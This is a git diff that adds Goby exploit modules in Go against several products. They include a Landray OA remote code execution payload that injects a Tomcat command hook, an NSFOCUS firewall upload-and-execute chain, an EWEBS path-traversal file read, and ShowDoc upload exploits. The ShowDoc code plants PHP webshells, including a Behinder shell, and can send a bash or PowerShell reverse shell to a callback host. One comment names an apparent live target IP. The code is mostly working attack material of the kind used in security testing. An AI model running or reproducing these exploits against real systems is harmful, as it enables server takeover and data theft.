"s_bean=ruleFormulaValidate&script=boolean+flag+%3d+false%3bThreadGroup+group+%3d+Thread.currentThread().getThreadGroup()%3bjava.lang.reflect.Field+f+%3d+group.getClass().getDeclaredField(\"threads\")%3bf.setAccessible(true)%3bThread[]+threads+%3d+(Thread[])+f.get(group)%3bfor+(int+i+%3d+0%3b+i+<+threads.length%3b+i%2b%2b)+{+try+{+Thread+t+%3d+threads[i]%3bif+(t+%3d%3d+null)+{+continue%3b+}String+str+%3d+t.getName()%3bif+(str.contains(\"exec\")+||+!str.contains(\"http\"))+{+continue%3b+}f+%3d+t.getClass().getDeclaredField(\"target\")%3bf.setAccessible(true)%3bObject+obj+%3d+f.get(t)%3bif+(!(obj+instanceof+Runnable))+{+continue%3b+}f+%3d+obj.getClass().getDeclaredField(\"this$0\")%3bf.setAccessible(true)%3bobj+%3d+f.get(obj)%3btry+{+f+%3d+obj.getClass().getDeclaredField(\"handler\")%3b+}+catch+(NoSuchFieldException+e)+{+f+%3d+obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\")%3b+}f.setAccessible(true)%3bobj+%3d+f.get(obj)%3btry+{+f+%3d+obj.getClass().getSuperclass().getDeclaredField(\"global\")%3b+}catch+(NoSuchFieldException+e)+{+f+%3d+obj.getClass().getDeclaredField(\"global\")%3b+}f.setAccessible(true)%3bobj+%3d+f.get(obj)%3bf+%3d+obj.getClass().getDeclaredField(\"processors\")%3bf.setAccessible(true)%3bjava.util.List+processors+%3d+(java.util.List)+(f.get(obj))%3bfor+(int+j+%3d+0%3b+j+<+processors.size()%3b+%2b%2bj)+{+Object+processor+%3d+processors.get(j)%3bf+%3d+processor.getClass().getDeclaredField(\"req\")%3bf.setAccessible(true)%3bObject+req+%3d+f.get(processor)%3bObject+resp+%3d+req.getClass().getMethod(\"getResponse\",+new+Class[0]).invoke(req,+new+Object[0])%3bstr+%3d+(String)+req.getClass().getMethod(\"getHeader\",+new+Class[]{String.class}).invoke(req,+new+Object[]{\"cmd\"})%3bif+(str+!%3d+null+%26%26+!str.isEmpty())+{+resp.getClass().getMethod(\"setStatus\",+new+Class[]{int.class}).invoke(resp,+new+Object[]{new+Integer(200)})%3bString[]+cmds+%3d+System.getProperty(\"os.name\").toLowerCase().contains(\"window\")+%3f+new+String[]{\"cmd.exe\",+\"/c\",+str}+%3a+new+String[]{\"/bin/sh\",+\"-c\",+str}%3bString+charsetName+%3d+System.getProperty(\"os.name\").toLowerCase().contains(\"window\")+%3f+\"GBK\"%3a\"UTF-8\"%3bbyte[]+text2+%3d(new+java.util.Scanner((new+ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter(\"\\\\A\").next().getBytes(charsetName)%3bbyte[]+result%3d(\"Execute%3a++++\"%2bnew+String(text2,\"utf-8\")).getBytes(charsetName)%3btry+{+Class+cls+%3d+Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\")%3bobj+%3d+cls.newInstance()%3bcls.getDeclaredMethod(\"setBytes\",+new+Class[]{byte[].class,+int.class,+int.class}).invoke(obj,+new+Object[]{result,+new+Integer(0),+new+Integer(result.length)})%3bresp.getClass().getMethod(\"doWrite\",+new+Class[]{cls}).invoke(resp,+new+Object[]{obj})%3b+}+catch+(NoSuchMethodException+var5)+{+Class+cls+%3d+Class.forName(\"java.nio.ByteBuffer\")%3bobj+%3d+cls.getDeclaredMethod(\"wrap\",+new+Class[]{byte[].class}).invoke(cls,+new+Object[]{result})%3bresp.getClass().getMethod(\"doWrite\",+new+Class[]{cls}).invoke(resp,+new+Object[]{obj})%3b+}flag+%3d+true%3b+}if+(flag)+{+break%3b+}+}if+(flag)+{+break%3b+}+}+catch+(Exception+e)+{+continue%3b+}+}" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "This page has a bug", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/data/sys-common/treexml.tmpl", + "follow_redirect": true, + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36", + "Accept-Encoding": "gzip, deflate", + "cmd": "{{{command}}}", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": "s_bean=ruleFormulaValidate&script=boolean+flag+%3d+false%3bThreadGroup+group+%3d+Thread.currentThread().getThreadGroup()%3bjava.lang.reflect.Field+f+%3d+group.getClass().getDeclaredField(\"threads\")%3bf.setAccessible(true)%3bThread[]+threads+%3d+(Thread[])+f.get(group)%3bfor+(int+i+%3d+0%3b+i+<+threads.length%3b+i%2b%2b)+{+try+{+Thread+t+%3d+threads[i]%3bif+(t+%3d%3d+null)+{+continue%3b+}String+str+%3d+t.getName()%3bif+(str.contains(\"exec\")+||+!str.contains(\"http\"))+{+continue%3b+}f+%3d+t.getClass().getDeclaredField(\"target\")%3bf.setAccessible(true)%3bObject+obj+%3d+f.get(t)%3bif+(!(obj+instanceof+Runnable))+{+continue%3b+}f+%3d+obj.getClass().getDeclaredField(\"this$0\")%3bf.setAccessible(true)%3bobj+%3d+f.get(obj)%3btry+{+f+%3d+obj.getClass().getDeclaredField(\"handler\")%3b+}+catch+(NoSuchFieldException+e)+{+f+%3d+obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\")%3b+}f.setAccessible(true)%3bobj+%3d+f.get(obj)%3btry+{+f+%3d+obj.getClass().getSuperclass().getDeclaredField(\"global\")%3b+}catch+(NoSuchFieldException+e)+{+f+%3d+obj.getClass().getDeclaredField(\"global\")%3b+}f.setAccessible(true)%3bobj+%3d+f.get(obj)%3bf+%3d+obj.getClass().getDeclaredField(\"processors\")%3bf.setAccessible(true)%3bjava.util.List+processors+%3d+(java.util.List)+(f.get(obj))%3bfor+(int+j+%3d+0%3b+j+<+processors.size()%3b+%2b%2bj)+{+Object+processor+%3d+processors.get(j)%3bf+%3d+processor.getClass().getDeclaredField(\"req\")%3bf.setAccessible(true)%3bObject+req+%3d+f.get(processor)%3bObject+resp+%3d+req.getClass().getMethod(\"getResponse\",+new+Class[0]).invoke(req,+new+Object[0])%3bstr+%3d+(String)+req.getClass().getMethod(\"getHeader\",+new+Class[]{String.class}).invoke(req,+new+Object[]{\"cmd\"})%3bif+(str+!%3d+null+%26%26+!str.isEmpty())+{+resp.getClass().getMethod(\"setStatus\",+new+Class[]{int.class}).invoke(resp,+new+Object[]{new+Integer(200)})%3bString[]+cmds+%3d+System.getProperty(\"os.name\").toLowerCase().contains(\"window\")+%3f+new+String[]{\"cmd.exe\",+\"/c\",+str}+%3a+new+String[]{\"/bin/sh\",+\"-c\",+str}%3bString+charsetName+%3d+System.getProperty(\"os.name\").toLowerCase().contains(\"window\")+%3f+\"GBK\"%3a\"UTF-8\"%3bbyte[]+text2+%3d(new+java.util.Scanner((new+ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter(\"\\\\A\").next().getBytes(charsetName)%3bbyte[]+result%3d(\"Execute%3a++++\"%2bnew+String(text2,\"utf-8\")).getBytes(charsetName)%3btry+{+Class+cls+%3d+Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\")%3bobj+%3d+cls.newInstance()%3bcls.getDeclaredMethod(\"setBytes\",+new+Class[]{byte[].class,+int.class,+int.class}).invoke(obj,+new+Object[]{result,+new+Integer(0),+new+Integer(result.length)})%3bresp.getClass().getMethod(\"doWrite\",+new+Class[]{cls}).invoke(resp,+new+Object[]{obj})%3b+}+catch+(NoSuchMethodException+var5)+{+Class+cls+%3d+Class.forName(\"java.nio.ByteBuffer\")%3bobj+%3d+cls.getDeclaredMethod(\"wrap\",+new+Class[]{byte[].class}).invoke(cls,+new+Object[]{result})%3bresp.getClass().getMethod(\"doWrite\",+new+Class[]{cls}).invoke(resp,+new+Object[]{obj})%3b+}flag+%3d+true%3b+}if+(flag)+{+break%3b+}+}if+(flag)+{+break%3b+}+}+catch+(Exception+e)+{+continue%3b+}+}" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody||" + ] + } + ], + "Tags": [ + "代码执⾏" + ], + "VulType": [ + "代码执⾏" + ], + "CVEIDs": [ + "" + ], + "CNNVD": [ + "" + ], + "CNVD": [ + "" + ], + "CVSSScore": "", + "Translation": { + "CN": { + "Name": "蓝凌OA treexml.tmpl 远程代码执行漏洞", + "Product": "蓝凌OA", + "Description": "

蓝凌OA treexml.tmpl存在远程代码执行漏洞,攻击者通过发送特定的请求包可以获取服务器权限

", + "Recommendation": "", + "Impact": "", + "VulType": [ + "代码执⾏" + ], + "Tags": [ + "代码执⾏" + ] + }, + "EN": { + "Name": "landray-oa-treexml-rce", + "Product": "", + "Description": "", + "Recommendation": "", + "Impact": "", + "VulType": [], + "Tags": [] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/nsfocus_resourse.php_arbitrary_file_upload_vulnerability.go b/lib/goby/goby_pocs/nsfocus_resourse.php_arbitrary_file_upload_vulnerability.go new file mode 100644 index 000000000..727a29303 --- /dev/null +++ b/lib/goby/goby_pocs/nsfocus_resourse.php_arbitrary_file_upload_vulnerability.go @@ -0,0 +1,242 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "net/url" + "strings" + "time" +) + +func init() { + expJson := `{ + "Name": "nsfocus resourse.php arbitrary file upload vulnerability", + "Description": "

NSFOCUS Next Generation Firewall is a dedicated security firewall device.

There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.

", + "Product": "nsfocus", + "Homepage": "https://www.nsfocus.com.cn/", + "DisclosureDate": "2022-07-18", + "Author": "LittleBlack", + "FofaQuery": "banner=\"PHPSESSID_NF\" || header=\"PHPSESSID_NF\"", + "GobyQuery": "banner=\"PHPSESSID_NF\" || header=\"PHPSESSID_NF\"", + "Level": "3", + "Impact": "

There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.

", + "Recommendation": "

1. Block 8081 port access. 2. Pay attention to the update of the official website in time: https://www.nsfocus.com.cn/

", + "References": [ + "https://fofa.so/" + ], + "Is0day": false, + "HasExp": true, + "ExpParams": [ + { + "name": "cmd", + "type": "input", + "value": "system('id');", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/test.php", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "test", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/test.php", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "test", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "VulType": [ + "Code Execution" + ], + "Tags": [ + "Code Execution" + ], + "CVEIDs": [ + "" + ], + "CNNVD": [ + "" + ], + "CNVD": [ + "" + ], + "CVSSScore": "9.5", + "Translation": { + "CN": { + "Name": "绿盟下一代防火墙 resourse.php 任意文件上传漏洞", + "Product": "绿盟下一代防火墙", + "Description": "

绿盟下一代防火墙是一款专用安全防火墙设备。

绿盟下一代防火墙 bugsInfo/resourse.php 文件存在任意文件上传漏洞,攻击者可上传恶意木马,获取服务器权限。

", + "Recommendation": "

1、阻拦8081端口访问。2、及时关注官网更新:https://www.nsfocus.com.cn/

", + "Impact": "

绿盟下一代防火墙 bugsInfo/resourse.php 文件存在任意文件上传漏洞,攻击者可上传恶意木马,获取服务器权限。

", + "VulType": [ + "代码执⾏" + ], + "Tags": [ + "代码执⾏" + ] + }, + "EN": { + "Name": "nsfocus resourse.php 任意文件上传漏洞", + "Product": "nsfocus", + "Description": "

NSFOCUS Next Generation Firewall is a dedicated security firewall device.

There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.

", + "Recommendation": "

1. Block 8081 port access. 2. Pay attention to the update of the official website in time: https://www.nsfocus.com.cn/

", + "Impact": "

There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.

", + "VulType": [ + "Code Execution" + ], + "Tags": [ + "Code Execution" + ] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + + u1 := httpclient.NewFixUrl("https://" + u.IP + ":8081") + uri1 := "/api/v1/device/bugsInfo" + cfg1 := httpclient.NewPostRequestConfig(uri1) + cfg1.VerifyTls = false + cfg1.FollowRedirect = false + cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9") + cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name=\"file\"; filename=\"sess_82c13f359d0dd8f51c29d658a9c8ac71\"\r\n\r\nlang|s:52:\"../../../../../../../../../../../../../../../../tmp/\";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n" + if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") { + time.Sleep(time.Second * 5) + uri2 := "/api/v1/device/bugsInfo" + cfg2 := httpclient.NewPostRequestConfig(uri2) + cfg2.VerifyTls = false + cfg2.FollowRedirect = false + cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef") + cfg2.Data = "--4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name=\"file\"; filename=\"compose.php\"\r\n\r\n\r\n--4803b59d015026999b45993b1245f0ef--\r\n" + if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2); err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody, "upload file success") { + u3 := httpclient.NewFixUrl("https://" + u.IP + ":4433") + uri3 := "/mail/include/header_main.php" + cfg3 := httpclient.NewPostRequestConfig(uri3) + cfg3.VerifyTls = false + cfg3.FollowRedirect = false + cfg3.Header.Store("Cookie", "PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71") + cfg3.Header.Store("Content-Type", "application/x-www-form-urlencoded") + cfg3.Data = "1=print+md5%281%29%3B" + if resp3, err := httpclient.DoHttpRequest(u3, cfg3); err == nil { + return resp3.StatusCode == 200 && strings.Contains(resp3.RawBody, "c4ca4238a0b923820dcc509a6f75849b") + } + + } + } + + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["cmd"].(string) + + u1 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP + ":8081") + uri1 := "/api/v1/device/bugsInfo" + cfg1 := httpclient.NewPostRequestConfig(uri1) + cfg1.VerifyTls = false + cfg1.FollowRedirect = false + cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9") + cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name=\"file\"; filename=\"sess_82c13f359d0dd8f51c29d658a9c8ac71\"\r\n\r\nlang|s:52:\"../../../../../../../../../../../../../../../../tmp/\";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n" + if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") { + time.Sleep(time.Second * 5) + uri2 := "/api/v1/device/bugsInfo" + cfg2 := httpclient.NewPostRequestConfig(uri2) + cfg2.VerifyTls = false + cfg2.FollowRedirect = false + cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef") + cfg2.Data = "--4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name=\"file\"; filename=\"compose.php\"\r\n\r\n\r\n--4803b59d015026999b45993b1245f0ef--\r\n" + if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2); err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody, "upload file success") { + u3 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP + ":4433") + uri3 := "/mail/include/header_main.php" + cfg3 := httpclient.NewPostRequestConfig(uri3) + cfg3.VerifyTls = false + cfg3.FollowRedirect = false + cfg3.Header.Store("Cookie", "PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71") + cfg3.Header.Store("Content-Type", "application/x-www-form-urlencoded") + cfg3.Data = fmt.Sprintf("1=%s", url.QueryEscape(cmd)) + if resp3, err := httpclient.DoHttpRequest(u3, cfg3); err == nil && resp3.StatusCode == 200 { + expResult.Output = resp3.RawBody + expResult.Success = true + } + + } + } + return expResult + }, + )) +} + +//https://222.75.146.134:4433 diff --git a/lib/goby/goby_pocs/nsoft_EWEBS_casmain.xgi_File_read.go b/lib/goby/goby_pocs/nsoft_EWEBS_casmain.xgi_File_read.go new file mode 100644 index 000000000..ad478fc54 --- /dev/null +++ b/lib/goby/goby_pocs/nsoft_EWEBS_casmain.xgi_File_read.go @@ -0,0 +1,90 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "nsoft-EWEBS casmain.xgi File read", + "Description": "nsoft EWEBS casmain.xgi File read, can read any file server", + "Product": "nsoft EWEBS", + "Homepage": "http://www.n-soft.com.cn/", + "DisclosureDate": "2021-06-15", + "Author": "PeiQi", + "GobyQuery": "app=\"nsoft-EWEBS\"", + "Level": "2", + "Impact": "

File read

", + "Recommendation": "Update", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "../../Data/CONFIG/CasDbCnn.dat" + } + ], + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "File read" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "nsoft EWEBS" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

undefined

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/casmain.xgi" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "Language_S=../../../../../../../windows/win.ini" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "for 16-bit app support") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/casmain.xgi" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "Language_S=../../../../../../../windows/win.ini" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.RawBody + expResult.Success = true + } + } + return expResult + }, + )) +} + diff --git a/lib/goby/goby_pocs/showDocGo.go b/lib/goby/goby_pocs/showDocGo.go new file mode 100644 index 000000000..48f5d05dc --- /dev/null +++ b/lib/goby/goby_pocs/showDocGo.go @@ -0,0 +1,170 @@ +package exploits + +import ( + "encoding/base64" + "fmt" + "log" + "net/url" + "regexp" + "strings" + "time" + + "git.gobies.org/goby/goscanner/godclient" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" +) + +func init() { + expJson := `{ + "Name": "showDocGo", + "Description": "", + "Product": "", + "Homepage": "https://gobies.org/", + "DisclosureDate": "2021-06-21", + "Author": "gobysec@gmail.com", + "GobyQuery": "app=\"ShowDoc\"", + "Level": "3", + "Impact": "", + "Recommandation": "", + "References": [ + "https://gobies.org/" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "AttackType", + "type": "select", + "value": "goby_shell,cmd,冰蝎" + }, + { + "name": "cmd", + "type": "input", + "value": "whoami", + "show": "AttackType=cmd" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/index.php?s=/home/page/uploadImg" + randString := goutils.RandomHexString(16) + cfg := httpclient.NewPostRequestConfig(uri) + cfg.Header.Store("Content-Type", "multipart/form-data; boundary=--------------------------921378126371623762173617") + cfg.VerifyTls = false + + cfg.Data = fmt.Sprintf("----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"%s.<>php\"\nContent-Type: text/plain\n\n\n----------------------------921378126371623762173617--", randString[:4], randString) + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "Public") && strings.Contains(resp.Utf8Html, "Uploads") && strings.Contains(resp.Utf8Html, "success") { + file := regexp.MustCompile(`.*Uploads\\\/.*\\\/(.*?)\"`).FindStringSubmatch(resp.Utf8Html) + date := regexp.MustCompile(`.*Uploads\\\/(.*?)\\\/.*`).FindStringSubmatch(resp.Utf8Html) + deleteUrl := fmt.Sprintf("%s/Public/Uploads/%s/%s", u.FixedHostInfo, date[1], file[1]) + fmt.Println(deleteUrl) + if resp, err := httpclient.SimpleGet(deleteUrl); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, randString) { + return true + } + } + } + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + if ss.Params["AttackType"].(string) == "cmd" { + uri := "/index.php?s=/home/page/uploadImg" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.Header.Store("Content-Type", "multipart/form-data; boundary=--------------------------921378126371623762173617") + cfg.VerifyTls = false + randKey := goutils.RandomHexString(4) + cmd := ss.Params["cmd"].(string) + cfg.Data = fmt.Sprintf("----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"test.<>php\"\nContent-Type: text/plain\n\n\n----------------------------921378126371623762173617--", randKey) + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + file := regexp.MustCompile(`.*Uploads\\\/.*\\\/(.*?)\"`).FindStringSubmatch(resp.Utf8Html) + date := regexp.MustCompile(`.*Uploads\\\/(.*?)\\\/.*`).FindStringSubmatch(resp.Utf8Html) + cmdUrl := fmt.Sprintf("%s/Public/Uploads/%s/%s?%s=%s", expResult.HostInfo.FixedHostInfo, date[1], file[1], randKey, cmd) + if resp, err := httpclient.SimpleGet(cmdUrl); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + } + } else if ss.Params["AttackType"].(string) == "goby_shell" { + //反弹shell + waitSessionCh := make(chan string) + // 第一步,要获取到反连端口 rp + if rp, err := godclient.WaitSession("reverse_windows", waitSessionCh); err != nil || len(rp) == 0 { + log.Println("[WARNING] godclient bind failed", err) + } else { + // 第二步,使用拿到的反连端口 rp 生成需要执行的命令 + // ReverseTCPByBash(rp) 返回的是 bash -i >& /dev/tcp/godserver/rp + uri := "/index.php?s=/home/page/uploadImg" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.Header.Store("Content-Type", "multipart/form-data; boundary=--------------------------921378126371623762173617") + cfg.VerifyTls = false + winCmd := base64.StdEncoding.EncodeToString([]byte(godclient.ReverseTCPByPowershell(rp))) + linuxCmd := base64.StdEncoding.EncodeToString([]byte(godclient.ReverseTCPByBash(rp))) + cfg.Data = fmt.Sprintf("----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"test.<>php\"\nContent-Type: text/plain\n\n /dev/null &\"); \n};\nunlink(__FILE__);?>\n----------------------------921378126371623762173617--", winCmd, linuxCmd) + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + file := regexp.MustCompile(`.*Uploads\\\/.*\\\/(.*?)\"`).FindStringSubmatch(resp.Utf8Html) + date := regexp.MustCompile(`.*Uploads\\\/(.*?)\\\/.*`).FindStringSubmatch(resp.Utf8Html) + revereUrl := fmt.Sprintf("%s/Public/Uploads/%s/%s", expResult.HostInfo.FixedHostInfo, date[1], file[1]) + go httpclient.SimpleGet(revereUrl) + // 固定格式,等待目标反弹 shell,若 15 秒内没收到连接请求,认为执行失败 + select { + case webConsleID := <-waitSessionCh: + log.Println("[DEBUG] session created at:", webConsleID) + if u, err := url.Parse(webConsleID); err == nil { + expResult.Success = true + expResult.OutputType = "html" + sid := strings.Join(u.Query()["id"], "") + expResult.Output += `
open shell` + } + case <-time.After(time.Second * 15): + } + } + } + } + } else { + uri := "/index.php?s=/home/page/uploadImg" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.Header.Store("Content-Type", "multipart/form-data; boundary=--------------------------921378126371623762173617") + cfg.VerifyTls = false + cfg.Data = "----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"test.<>php\"\nContent-Type: text/plain\n\n\n----------------------------921378126371623762173617--" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "Public") && strings.Contains(resp.Utf8Html, "Uploads") && strings.Contains(resp.Utf8Html, "success") { + file := regexp.MustCompile(`.*Uploads\\\/.*\\\/(.*?)\"`).FindStringSubmatch(resp.Utf8Html) + date := regexp.MustCompile(`.*Uploads\\\/(.*?)\\\/.*`).FindStringSubmatch(resp.Utf8Html) + behinderUrl := fmt.Sprintf("%s/Public/Uploads/%s/%s", expResult.HostInfo, date[1], file[1]) + expResult.Output = "冰蝎Url:" + behinderUrl + "\n默认密码:rebeyond" + expResult.Success = true + } + } + } + return expResult + }, + )) +} diff --git a/lib/goby/goby_pocs/showDocJson.go b/lib/goby/goby_pocs/showDocJson.go new file mode 100644 index 000000000..fbcef5dee --- /dev/null +++ b/lib/goby/goby_pocs/showDocJson.go @@ -0,0 +1,224 @@ +package exploits + +import ( + "gopoc" + + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Showdoc存在文件上传漏洞", + "Description": "Showdoc存在文件上传漏洞,攻击者可以利用漏洞获取服务器权限。", + "Product": "", + "Homepage": "", + "DisclosureDate": "2021-06-23", + "Author": "desktop-kf8vclk\\360\r\n", + "GobyQuery": "app=\"ShowDoc\"", + "Level": "3", + "Impact": "", + "Recommendation": "厂商暂未提供修复方案,请关注厂商网站及时更新:\n\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\thttps://www.showdoc.cc", + "References": [ + "https://gobies.org/" + ], + "RealReferences": [ + "https://www.cnvd.org.cn/flaw/show/CNVD-2020-26585" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "cmd", + "type": "input", + "value": "whoami" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "-----------------------------346031065719027724703329952952\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"1.<>php\"\nContent-Type: text/plain\n\n\n-----------------------------346031065719027724703329952952--", + "data_type": "text", + "follow_redirect": true, + "method": "POST", + "uri": "/index.php?s=/home/page/uploadImg", + "header": { + "Content-Type": "multipart/form-data; boundary=---------------------------346031065719027724703329952952" + } + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": ",\"success\":1}", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "\\/Public\\/Uploads\\/", + "bz": "" 